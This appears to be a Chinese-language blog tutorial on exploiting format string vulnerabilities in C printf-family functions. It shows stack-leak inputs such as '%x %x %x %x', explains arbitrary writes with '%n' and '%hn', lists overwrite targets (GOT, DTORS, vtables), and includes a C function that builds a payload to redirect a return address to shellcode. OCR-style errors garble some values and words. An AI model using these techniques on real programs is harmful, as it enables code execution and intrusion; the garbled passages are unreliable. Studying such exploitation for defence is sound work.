格式化字符串漏洞

当printf系列函数的格式化串里包含用户提交的数据时,就有可能出现格式化串漏洞。 函数包括:
snprintf
vfprintf
vprintf
vsprintf
vsnprintf
除了这呰函数外,其他接受C风格格式符的函数也可能存在类似风险,例如wind0ws上的wprintf函数。攻击者可能提交许多格式符(而不提供对应的变量),这样的话,栈上就没有和格式符相对应的参数,因此,系统就会用栈上的其他数据代替这些参数,从而导致信息泄漏和执行任意代码。
如前文所述,必须以格式化串的形式传递printf函数,好让printf函数确定用什么变量代替相应的格式化串,以及用什么形式输出变量。
然而,如果我们不给格式化串(格式符)提供相应的变最,将会出现奇怪的事情。例如下面这个程序,它将用命令行的参数调用printf。 


按如下所示编译代码: cc fmC.c -o fmt 用如下的形式执行:
./fmt "%x %x %x %x"
将等同于在程序里用如下的形式调用printf:
printf( '%x %x %x %x");
上面的语句透露出一个重要的信息:我们提交了格式化串,却没有提供相应的代替字符串的 4个数字变最。有趣的是printf并没有报错,而是输出如下内容:
4015c98c 4001S26c bffff944 bffffSe8
口printf不知从什么地方找来了4个参数充数!事实上,这些数据来自栈。
乍看上去这似乎不是什么问题,然而,攻击者却可能利用它来获取栈上的数据。对栈本身来说这可能泄露栈上的敏感信息,如用户名、密码等。


n% 这个参数被视为指向整数的指针(或者整数变量,例如short,在这个参数之前输出 的宇符的数量将被保存到这个参数指向的地址里


如果满足下列条件,就可以利用格式化串漏洞执行任意代码。
我们能控制参数,并可以把输出的字符的数量写入内存的任意区域^
宽度格式符允许我们用任意的长度(当然可以为255个字符)填充输出因此,可以用选择的值改写单个字节.
重复上面步騵4次的话,就能改写内存中的任意48,也就是说,攻击者可以利用这个 方法改写内存地址。但是,如果把00写到内存地址中,可能会出问题,因为在C语言里00是终止符。然而,如果可以在它前面的地址写入28,那就冇可能规避这个问题。  
通常来说,我们可以猜测函数指针的地址(保存的返回地址、二进制文件的导入表、C++ vtable),因此,我们可以促成系统把提交的字符串当作代码来执行。
关于格式化串攻击,有几个常见的误区需要澄清^
它们不仅仅影响*nix。
它们不必非要以栈为基础。
栈保护机制对它们通常不起作用。
用静态代码分析工具通常可以检测它们。

在绝大多数*nix平台上,可以用直接参数访问来帮忙。 注意上面的输出,从找上弹出的第三个值。
试一下下面这条命令:"%3\$x"


但是如果打印很久的数据会出错%hn能够解决这个阏题. 它只写半个整型,两个字节,那么就可以把shellcode地址分成两个部分.依次写入到 要覆盖的地址以及这个地址加2的位置.这样要打印的长度将减少很多.


报据上面调整的结果,可以构造一个所示的结构的格式串来实现攻击.,
| retloc+2 |retloc | % shaddrh-8 x| % flag $hn丨% shaddrl-shaddrh x丨 %flag+1 $hn丨

构造攻击格式串
由用shellcode的地址的半字构造打印长度來写入返回地址,那么必须注意要把小一些 的半字放在前曲,这样才能顺利覆盖返回地址。用于构建这种格式串的函数流程大致如下
void mkfmt(char *fmtstr, u_long retloc, u_long shaddr, int align, int flag)
{
    int i;
    unsigned int valh;
    unsigned int vall;
    unsigned int b0 = (retloc >> 24) & 0xff;
    unsigned int b1 = (retloc >> 16) & 0xff;
    unsigned int b2 = (retloc >>  8) & 0xff;
    unsigned int b3 = (retloc      ) & 0xff;




    /* detailing the value */
    valh = (shaddr >> 16) & 0xffff; //top
    vall = shaddr & 0xffff;         //bottom
/*
    for (i = 0; i < align; i++) {
        *fmtstr++ = 0x41;
    }
*/
    /* let's build */
    if (valh < vall) {
        sprintf(fmtstr,
                "%c%c%c%c"           /* high address */
                "%c%c%c%c"           /* low address */
                "%%%uc"              /* set the value for the first %hn */
                "%%%d$hn"            /* the %hn for the high part */
                "%%%uc"              /* set the value for the second %hn */
                "%%%d$hn"            /* the %hn for the low part */
                ,
                b3+2, b2, b1, b0,    /* high address */
                b3, b2, b1, b0,      /* low address */
                valh-8,              /* set the value for the first %hn */
                flag,                /* the %hn for the high part */
                vall-valh,           /* set the value for the second %hn */
                flag+1               /* the %hn for the low part */
               );
    } else {
        sprintf(fmtstr,
                "%c%c%c%c"           /* high address */
                "%c%c%c%c"           /* low address */
                "%%%uc"              /* set the value for the first %hn */
                "%%%d$hn"            /* the %hn for the high part */
                "%%%uc"              /* set the value for the second %hn */
                "%%%d$hn"            /* the %hn for the low part */
                ,                                                             
                b3+2, b2, b1, b0,    /* high address */
                b3, b2, b1, b0,      /* low address */
                vall-8,              /* set the value for the first %hn */
                flag+1,              /* the %hn for the high part */
                valh-vall,           /* set the value for the second %hn */
                flag                 /* the %hn for the low part */
               );
    }


//*
    for (i = 0; i < align; i++) {
        strcat(fmtstr, "A");
    }
//*/
}


示例的程序有些特別,由于格式串并不是复制过去的,所以对齐字符串要放在格式串的后面。格式串漏洞利用的要素是以下几点:
覆盖获得控制的地址
printf参数地址到自定义的格式串数据地址直接的距离
格式串数据没有4字节对齐的偏移
Shellcode 地址
可以用来覆盖获得控制的地址有以下几种:
全局偏移表(GOT)(动态重定位对函数,如果某些人使用的二进制文件与你的一样,那 就太好了,比如rpm:
析构函数(DTORS)表(函数在退出前将调用析构函数);
C函数库钩子,
atexit结构;
所有其他的函数指针,例如C ++ vtable、冋调函数等;
windows里默认未处理的异常处理程序,它几乎总是在同一地址
堆栈中的函数返回地址
覆盖 dl_lookup_versioned_symbol
其实搏盖dl_lookup_versioned_symbol也是覆盖GOT技术.只不过是ld的GOT。
详细的dtors的利用程序可以参考《网络渗透技术》347-352页













你可能感兴趣的:(Linux,缓冲区溢出,格式化,C,栈,溢出,利用)